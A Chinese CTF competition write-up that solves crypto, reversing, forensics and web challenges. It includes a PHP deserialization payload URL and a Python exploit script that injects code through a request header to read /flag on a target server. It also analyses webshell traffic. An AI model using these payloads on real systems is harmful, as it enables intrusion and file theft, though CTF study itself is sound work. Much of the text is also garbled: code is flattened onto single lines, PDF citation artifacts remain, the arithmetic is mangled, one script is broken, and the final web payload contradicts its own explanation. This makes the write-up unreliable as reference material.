2025年全国大学生信息安全竞赛（新疆赛区)新疆高校大学生信息安全竞赛wp解析

本文章为2025年全国大学生信息安全竞赛（新疆赛区)新疆高校大学生信息安全竞赛wp解析，这次时隔一年，我们再次打进一等奖，最终排名为我的队伍幻城科技队伍24名次，学弟队伍幻城网安队伍26名次，总共12道题，做出来九道题在前期也一直是压着前五名打，可惜到后面逐渐乏力，最终定格26名次。

由于格式问题，部分代码可能非代码格式，请交给ai润色，展现完整代码格式。

wohz{k533q73q-t76t-9292-351w-h880t22q2q59}

并且提示：a=3, b=7。

这很可能是使用了 仿射密码（Affine Cipher） 对 flag 的明文部分进行了加密。仿射密码的加密公式为：

$$ E(x) = (a \cdot x + b) \mod 26 $$

其中：

• $x$ 是明文字母在字母表中的索引（A=0, B=1, …, Z=25）
• $a$ 和 $b$ 是密钥，且 $a$ 必须与 26 互质（gcd(a,26)=1）

你给出 a=3, b=7，确实满足条件（gcd(3,26)=1），所以可以解密。

但注意：你的密文中包含数字、连字符 – 和花括号 {}，这些通常 不参与加密，只对字母进行仿射变换。而且看起来像是 flag 格式：wohz{…}，可能 wohz 是 flag 或 ctf{…} 的某种替换？不过更可能的是整个 {} 内的内容是经过仿射加密的，而 wohz 本身也可能是加密后的 “flag”。

我们先尝试对整个字符串中 所有小写字母 进行仿射解密，数字和符号保留不变。

第一步：仿射解密公式

解密公式为：

$$ D(y) = a^{-1} \cdot (y – b) \mod 26 $$

其中 $a^{-1}$ 是 $a$ 在模 26 下的乘法逆元。

已知 a=3，求 $a^{-1} \mod 26$：

找一个数 $a^{-1}$ 使得 $3 \cdot a^{-1} \equiv 1 \mod 26$

试一下：

• 3 × 9 = 27 ≡ 1 mod 26 → 所以 $a^{-1} = 9$

因此解密公式为：

$$ D(y) = 9 \cdot (y – 7) \mod 26 $$

第二步：编写解密映射

我们对每个小写字母进行如下操作：

1. 将字母转为数字（a=0, b=1, …, z=25）
2. 减去 b=7，模 26
3. 乘以 9，模 26
4. 转回字母

我们来手动或用逻辑处理密文中的字母部分。

密文是：

wohz{k533q73q-t76t-9292-351w-h880t22q2q59}

我们逐个字母处理（只处理 a-z）：

先处理 wohz：

• w → 22
  D = 9*(22 – 7) = 915 = 135 mod 26 = 135 % 26 = 135 – 526=135-130=5 → f
• o → 14
  9*(14-7)=97=63 mod26 = 63-226=63-52=11 → l
• h → 7
  9*(7-7)=0 → a
• z → 25
  9*(25-7)=918=162 mod26: 266=156, 162-156=6 → g

所以 wohz → flag ✅ 完美！

说明我们的思路正确！

现在解密花括号内的内容：

k533q73q-t76t-9292-351w-h880t22q2q59

我们只替换字母：k, q, t, w, h 等

先列出字母解密表（可选）：

密文	y	y-7	*9	mod26	明文
a (0)	0	-7≡19	171	171%26=171-6*26=171-156=15	p
… 我们直接算需要的字母

我们需要解密的密文字母有：k, q, t, w, h

分别计算：

k → 10
10 – 7 = 3
3 × 9 = 27 mod26 = 1 → b

q → 16
16 – 7 = 9
9 × 9 = 81 mod26 = 81 – 3×26 = 81 – 78 = 3 → d

t → 19
19 – 7 = 12
12 × 9 = 108 mod26: 26×4=104 → 108-104=4 → e

w → 22
22 – 7 = 15
15 × 9 = 135 mod26 = 5 → f（前面算过）

h → 7
7 – 7 = 0 → 0 → a

现在逐字符解密：

原文：

k 5 3 3 q 7 3 q – t 7 6 t – 9 2 9 2 – 3 5 1 w – h 8 8 0 t 2 2 q 2 q 5 9

替换字母：

• k → b
• q → d
• t → e
• w → f
• h → a

所以：

b533d73d-e76e-9292-351f-a880e22d2d59

于是完整 flag 为：

flag{b533d73d-e76e-9292-351f-a880e22d2d59}

easyre

核心函数为 sub_1400096F0。程序读取用户输入的 32 字节数据，并截断换行符 。

程序使用 signal(11, Function) 注册了一个 SIGSEGV（段错误）处理函数。随后，程序故意访问 MEMORY[0]=0 触发崩溃 。

触发异常后，执行流进入 Function (Handler)。Handler 修改了全局 TEA 密钥 xmmword_14000A040。修改后的密钥为 [0xCC99E897, 0x22222211, 0xEDBA8754, 0xBA89DCEF] 。

程序通过 longjmp 返回后调用校验函数 sub_140001850。这是一个 TEA 算法变种：

32 轮 ，Delta: 0x61C88647 。

差异: 标准 TEA 累加 Delta，此题目中 sum 从 0 开始，每轮递减 Delta (sum -= delta) 。

import struct # ====================== # 常量定义 # ====================== DELTA = 0x61C88647 ROUNDS = 32 # ====================== # 密钥（Signal Handler 修改后） # ====================== KEY = [ 0xCC99E897, 0x22222211, 0xEDBA8754, 0xBA89DCEF ] # ====================== # 密文（来自内存 unk_14000A020） # ====================== CIPHERTEXT = [ 0xe1c22986, 0xd39eddc5, 0xdfa1484d, 0x10d4e53c, 0xc49a3be4, 0x77dbf48a, 0xe5ebae29, 0xe99fec5c ] def generate_sum_sequence(delta: int, rounds: int) -> list[int]: “”” 生成 TEA 解密所需的 sum 序列。 加密时 sum = -delta * i，解密需逆序使用。 “”” return [((-delta * (i + 1)) & 0xFFFFFFFF) for i in range(rounds)] def tea_g(sum_val: int, v0: int, k2: int, k3: int) -> int: “”” TEA 解密中用于更新 v1 的辅助函数（对应 key[2], key[3]）。 “”” term1 = (sum_val + v0) & 0xFFFFFFFF term2 = (k3 + (v0 >> 5)) & 0xFFFFFFFF term3 = (k2 + ((v0 << 4) & 0xFFFFFFFF)) & 0xFFFFFFFF return (term1 ^ term2 ^ term3) & 0xFFFFFFFF def tea_f(sum_val: int, v1: int, k0: int, k1: int) -> int: “”” TEA 解密中用于更新 v0 的辅助函数（对应 key[0], key[1]）。 “”” term1 = (sum_val + v1) & 0xFFFFFFFF term2 = (k1 + (v1 >> 5)) & 0xFFFFFFFF term3 = (k0 + ((v1 << 4) & 0xFFFFFFFF)) & 0xFFFFFFFF return (term1 ^ term2 ^ term3) & 0xFFFFFFFF def decrypt_tea_block(v0: int, v1: int, key: list[int], sums: list[int]) -> tuple[int, int]: “”” 对一个 64-bit TEA 密文块进行解密（32 轮反向迭代）。 “”” v0 &= 0xFFFFFFFF v1 &= 0xFFFFFFFF k0, k1, k2, k3 = key # 反向遍历 sum 序列（从最后一轮到第一轮） for s in reversed(sums): v1 = (v1 – tea_g(s, v0, k2, k3)) & 0xFFFFFFFF v0 = (v0 – tea_f(s, v1, k0, k1)) & 0xFFFFFFFF return v0, v1 def decrypt_tea(ciphertext: list[int], key: list[int]) -> bytes: “”” 解密整个 TEA 密文（多个 64-bit 块）。 “”” sums = generate_sum_sequence(DELTA, ROUNDS) plaintext_words = [] # 每两个 32-bit 字组成一个 64-bit 块 for i in range(0, len(ciphertext), 2): v0, v1 = decrypt_tea_block(ciphertext[i], ciphertext[i + 1], key, sums) plaintext_words.extend([v0, v1]) # 小端序打包为字节流 return b”.join(struct.pack(‘<I’, word) for word in plaintext_words) def main(): try: plaintext_bytes = decrypt_tea(CIPHERTEXT, KEY) flag = plaintext_bytes.decode(‘ascii’) print(“Flag:”, flag) except UnicodeDecodeError: print(“解码失败：输出非 ASCII 内容”) print(“Raw bytes:”, plaintext_bytes.hex()) if __name__ == ‘__main__’: main()

flag{s1gn4l_h4ndl3r_1s_tricky!!}

Web

看似无解？其实有 trick！

关键点在于：如何让 $wakeup 在 __destruct() 被调用时仍然是 False？

既然 __wakeup() 一定会把 $wakeup 改成 True，那有没有办法 在 __wakeup() 之后、__destruct() 之前，再把它改回 False？

✅ 利用点：属性覆盖（Property Injection）

PHP 反序列化时，会先调用 __wakeup()，然后才会设置对象的属性（来自序列化字符串的数据）。

📌 重要顺序：

创建对象

调用 __wakeup()

恢复序列化数据中的属性值（覆盖现有属性！）

这意味着：如果你在序列化字符串中设置了 $wakeup = false，那么即使 __wakeup() 把它改成 true，后续的反序列化过程会用你提供的值 覆盖回去！

✅ Exploit 构造

步骤：

创建一个 trickucket 对象，设置 $wakeup = false

序列化它

通过 ?exp=… 传入

同时传入 ?url=…，使得：

url 包含 “flag”（满足第一个条件）

不包含 base64、http

file_get_contents(url) 返回 “get”

如何让 file_get_contents(url) 返回 “get”？

我们需要一个 URL，满足：

包含 “flag” 字样（如 flag.txt）

内容是 “get”

但不能直接读 flag 文件（因为内容含 flag 会被拦截）。

💡 使用 data:// 伪协议！

例如：

text

编辑

data://text/plain,get

但这个 URL 不包含 “flag”，会被过滤。

所以我们要让它包含 “flag”，比如：

text

编辑

data://text/plain;flag,get

但 data:// 的格式是：

text

编辑

data:[<media type>][;base64],<data>

所以可以这样构造：

text

编辑

data://text/plain,flag

→ 但内容是 “flag”，会被 strpos($contents,”flag”)!==false 拦截！

我们需要内容是 “get”，但 URL 中包含 “flag”。

✅ 解决方案：利用 data:// 的 media type 部分包含 “flag”

例如：

text

编辑

data://text/flag,get

URL 中包含 “flag” ✅

不包含 base64 ✅

不包含 http ✅

内容是 “get” ✅

内容不含 “flag” ✅

完美！

🧪 最终 Payload

/index.php?exp=O%3A12%3A”trickucket”%3A2147483647%3A%7Bs%3A6%3A”wakeup”%3Bb%3A0%3B%7D&url=data%3A%2F%2Ftext%2Fplain%3Bflag%3D1%2Cget

这是一个 Python 进程的 Windows Minidump 文件（MDMP 格式）。通过分析内存，发现了以下加密流程：

`m = homework.func_readfile(“my_flag.txt”)` – 读取 flag 文件

`mm = homework.func_xor(m.decode(), “pyt0n_f0rEnsics_y0u_L1Ke_1t!”)` – XOR 加密

`mmm = homework.func_aes(mm, 1)` – AES 加密

`mmmm = homework.func_special_base64(mmm, “ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/”)` – 自定义 Base64 编码

关键发现：

– XOR 密钥：`pyt0n_f0rEnsics_y0u_L1Ke_1t!`

– 自定义 Base64 字母表：`ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/`

– 通过计算 `flag{` XOR 密钥前缀得到 `\x16\x15\x15\x57\x15`，在内存中搜索该特征找到了 `mm` 的完整值

“`python

xor_key = b’pyt0n_f0rEnsics_y0u_L1Ke_1t!’

mm = bytes([0x16, 0x15, 0x15, 0x57, 0x15, 0x3b, 0x57, 0x74, 0x2d, 0x3c, 0x5e, 0x26, 0x36, 0x0f, 0x42, 0x14,

0x3c, 0x6f, 0x01, 0x17, 0x29, 0x6e, 0x1b, 0x1c, 0x0b, 0x59, 0x44, 0x4f, 0x2f, 0x34, 0x31, 0x5d,

0x5e, 0x2d, 0x3f, 0x6f, 0x14, 0x75, 0x3c, 0x16, 0x07, 0x10, 0x42, 0x1c, 0x0a, 0x4d])

flag = bytes([mm[i] ^ xor_key[i % len(xor_key)] for i in range(len(mm))])

print(flag.decode())

“`

`flag{d1D_y0U_l1KE_tHe_PyTh0n_MEm0rY_f0Rens1Cs}`

分析attach.pcapng流量包，发现大量HTTP请求指向`/zb_users/theme/acgMora/web.php`，典型的蚁剑webshell通信流量。

解密webshell通信数据，发现：

打开抓包 → 过滤 HTTP

过滤栏输入：http。

重点关注目的端口 :8888，以及路径含 zb_users/theme/acgMora/ 的请求。

导出上传物件（证明投放了 webshell）

菜单：File → Export Objects → HTTP → Save All。

在导出的文件里找到 acgMora/web.php，可见核心一句：

加密方式为Base64_Decode

返回数据使用ROT13编码

攻击者执行了写入flag.txt的命令：

“`

echo This trip left some content that uses the same encoder as the Trojan horse,BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY= > ./flag.txt

“`

提示信息表明flag使用了与木马相同的编码器（ROT13+Base64+Deflate压缩）

“`python

import base64

import zlib

data = ‘BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY=’

decoded = base64.b64decode(data)

flag = zlib.decompress(decoded, -15).decode(‘utf-8’)

print(flag)

“`

`flag{175374be-4547-f6f6-2232-14d7524d30a5}`

Base64解密

WeakJump

反调试: 程序读取 /proc/self/status，如果存在调试器则退出

• 
• 程序会校验输入长度为 32。加密时将 8 字节分为左右两部分（Left/Right），进行多轮的异或、交换和循环移位操作 。
• 加密逻辑是核心逻辑涉及一个自定义的 rot132 函数和特定的常量计算。由于控制流比较混乱，Writeup 采用了复现核心逻辑的方法。

exp

用于计算中间加密参数

#include <stdio.h>
#include <stdint.h>

// 循环移位函数 [cite: 357]
static inline uint32_t rot132(uint32_t x, unsigned int r)
{
r &= 31u;
// 修复: 添加缺失的 | 运算符 [cite: 362]
return (x << r) | (x >> ((32u – r) & 31u));
}

static const uint32_t GLOBAL_KEY = 0xC3F1E2D4u; [cite: 363]

int main(void)
{
// 模拟 index = 3 时的逻辑
const uint32_t index_plus1 = 4u; [cite: 366]

// 初始值 extracted from ysis [cite: 368-371]
uint32_t right = 0x8e1e3826u;
uint32_t left = 0x3115032fu;
const uint32_t magic = 0x6B182517u;

// 对应: uint32_t tmp = magic ^ left;
uint32_t tmp = magic ^ left;

printf(“encrypt_right: 0x%x\n”, tmp);
printf(“encrypt_left_1: 0x%x\n”, right);

// 模拟交换逻辑 [cite: 377-378]
uint32_t enc_left = right;
uint32_t enc_right = tmp;

// 计算 out_left [cite: 380-385]
// 修复: PDF 中的 “A” 符号替换为异或 “^”
uint32_t out_left = (0x13579u * index_plus1) ^
(0x7C746C69u ^ enc_left ^ 0x135794u) ^
(index_plus1 + 0x16807D6u);

// 计算 out_right [cite: 388-392]
uint32_t out_right = rot132(out_left, index_plus1) ^
(0x9E3779B1u ^ index_plus1) ^
enc_right ^
GLOBAL_KEY;

printf(“Calculated Result: %x %x\n”, out_left, out_right);
return 0;
}

将提取到的加密数据进行组合和反转，得到最终 Flag

import binascii def get_flag(): “”” 从硬编码的十六进制字符串中还原并打印 flag。 数据以两个字节块为单位交错存储，需反转顺序并逐块反转字节内容。 [cite: 395-399] “”” # 提取的加密数据块（每项为 4 字节的小端表示）[cite: 395-396] enc_hex_chunks = “3031627b 67616c66 6c705f6d 755f6b63 34727478 335f3575 7d212137 3333315f”.split() # 安全检查：确保数据块数量为偶数 if len(enc_hex_chunks) % 2 != 0: raise ValueError(“加密数据块数量必须为偶数。”) flag_parts = [] # 遍历数据块，每次处理两个连续的 chunk [cite: 397] for i in range(0, len(enc_hex_chunks), 2): # 注意顺序：先处理 i+1，再处理 i [cite: 398] # 每个 chunk 转为字节后解码为字符串，并反转字符顺序 [cite: 399] part_high = binascii.a2b_hex(enc_hex_chunks[i + 1]).decode(‘utf-8’)[::-1] part_low = binascii.a2b_hex(enc_hex_chunks[i]).decode(‘utf-8’)[::-1] flag_parts.append(part_high + part_low) flag = ”.join(flag_parts) print(f”Flag: {flag}”) if __name__ == ‘__main__’: get_flag()

flag{b10ck_vm_plu5_3xtr4_1337!!}

Web2

import requests

import sys

def exploit(target_url):

“””执行攻击以获取 flag”””

# 构造 payload（利用 SSTI 或 eval 注入）

payload = ‘127.{open(“/flag”).read()}’

print(f”[*] 目标: {target_url}”)

print(f”[*] Payload: {payload}”)

# 创建会话并设置自定义请求头

session = requests.Session()

headers = {‘IP’: payload}

# 步骤 1：获取 JWT token

print(“[1] 获取 JWT token…”)

response = session.get(f”{target_url}/login”, headers=headers)

if ‘user’ not in session.cookies:

print(“[-] 获取 token 失败”)

return None

print(“[2] Token 获取成功，访问 /admin…”)

# 步骤 2：触发服务端 eval 或模板渲染，读取 flag

response = session.get(f”{target_url}/admin”)

print(f”[3] 响应状态码: {response.status_code}”)

if response.status_code == 200:

print(“[+] 攻击成功！”)

print(f”[+] 响应内容: {response.text}”)

# 提取 flag

if “you are admin login from” in response.text:

flag = response.text.split(“you are admin login from”)[1].strip()

print(f”\n[!!!] FLAG: {flag}”)

return flag

return None

if __name__ == “__main__”:

if len(sys.argv) < 2:

print(“使用方法: python3 get_flag.py <目标URL>”)

print(“示例: python3 get_flag.py http://example.com”)

sys.exit(1)

target = sys.argv[1].rstrip(‘/’)

exploit(target)

密码学

from Crypto.Cipher import AES from hashlib import sha256 from sage.all import ZZ, Matrix # ============================================= # 给定RSA参数和密文 # ============================================= n = 29287941964093188883554358759962324766413054938509973020469060324897666596790911417785791718225662909407046748730700393511727164992638859309051914817752161453430071520197806236982668426788996148542614675962835327600646675114044776422291762895540351295488463620830840260895942085590293936010897487443334022180921068879759894357182300863216381540594965567845230665432808496498721899010296008077888600276230436453346416223766922153731558028227295502011211796080344786948543217682991981791223266548648600316048178386585096118093900539239292482498040472725870838971971059537341275594528418355973441717474777281448026845373 e = 27955266925253148642253678752829183603219107778520606980764762752995571036134821430889656665717477157214005599893648302567419024006700075224145901058864025471376122721606447684082747992022267965241792216735472384680654771240354932987171309705823754809028693606076338867464980753571886581376406114561483162250351593164007074977896197934437555326889625656047853373889179731769563558844917159374790171076366851539889349713510477985229970467404417110370407654250262525961760288684308272656639979945733821040592567089478937570171101226406294152472692793873319781044539193653344814998127081830989348128648490881576398235955 c = [ 4831644744350799393765016099396882177026534773569532962146766169148481243322219737516506695852464031849695952207227141415079187438443873384079566512604202776962147357699367571125364213415800582067021480708275284860444744873611933615510520333222572461931300221867821081702084458292525283508482399395833410218592334630954773959254262941692220532586083298023976096784214039362483222310058451221948873959013103817332959309430450412106921677559864731324809944745039703799490755791317245753122131983084501003067118380162680898017587067862940816260310005852375433008408683639088699648954723722337562683163853590166299207882, 6022461415472339281836498790278755583726889448623920530347868182630937987521253477126939602533575565331657993511358069473757046630594242611137100942575346645763052742511258016344480503774775023629872360358298995380098714687236835234204193892762002768854579522920204073999133902681913826901342657210771151320309334953071731535713048675285675974744410502359479970589333783354881282915026585051250730890093253822846141777793849657061271396501904548945234830806282646236893655892167888170712944257063558285805501798738399575903576977831532203975392444095534068494054836142511588829555267892072625075416002302243176635324, 22997295428814514195091139337373650893365094613018428287375171979263198804955694038921673706847017725112033894298965577877631026760694604442860104769929651081470274609617397037067997884566485822781893833508224191144921037000725886575812219990814743777146135558370440033727198066101727185074410043409716527519221297212798655733539022858296903864363604189024082966485173370094663250147084643430665337682727021661753415715552161602283717204286568751928695603206357216967106479737282869745702423639348584040558580768510604253083698350240121502964676110415110162800693161878015666130229334069872276017309750136299165288207 ] ct = b’|\x9aN\x16puZq\xb8R\xce\x84G\x06\xb0H\x91\xb4,\xd2\xba|\xac\x91\xbf”\xa7C\n\x82\xad\xa26s- 2\xc9[\xd5>\xa3\x81″t\xd2\x00″‘ # ============================================= # 数据预处理：将密文用公钥指数e运算，还原成X = secret * r + p的形式 # ============================================= x = [ZZ(pow(i, e, n)) for i in c] # 计算 x_i = c_i^e mod n # ============================================= # 构造格：设计矩阵以利用LLL算法找到小系数线性组合 # ============================================= w = 2**511 # 权重，用于平衡格中各项的大小 m = Matrix(ZZ, [ [w, 0, 0, x[1], x[2]], # 第一行对应r0与x1、x2的关系 [0, w, 0, -x[0], 0], # 第二行引入x0的负的负值以构建线性方程 [0, 0, w, 0, -x[0]] # 第三行类似第二行 ]) # ============================================= # 运行LLL算法：寻找短向量，其中最小残渣对应p # ============================================= L = m.LLL() # 执行LLL约简 # 从第一短向量提取r0（除以权重去除缩放） r0 = abs(L[0][0]) // w # 利用线性关系计算r1和r2 r = [r0, int, int(x[1] * r0 // x[0]), int(x[2] * r0 // x[0])] # ============================================= # 恢复p值：利用关系式 p_i = x_i mod r_i # ============================================= p = [int(x[i] % r[i]) for i in range(3)] # ============================================= # 解密：使用p列表生成AES密钥并解密密文 # ============================================= h = sha256() h.update(str(p).encode()) # 将p列表转为字符串后哈希 key = h.digest() aes = AES.new(key, AES.MODE_ECB) plaintext = aes.decrypt(ct) print(“Decrypted plaintext:”, plaintext)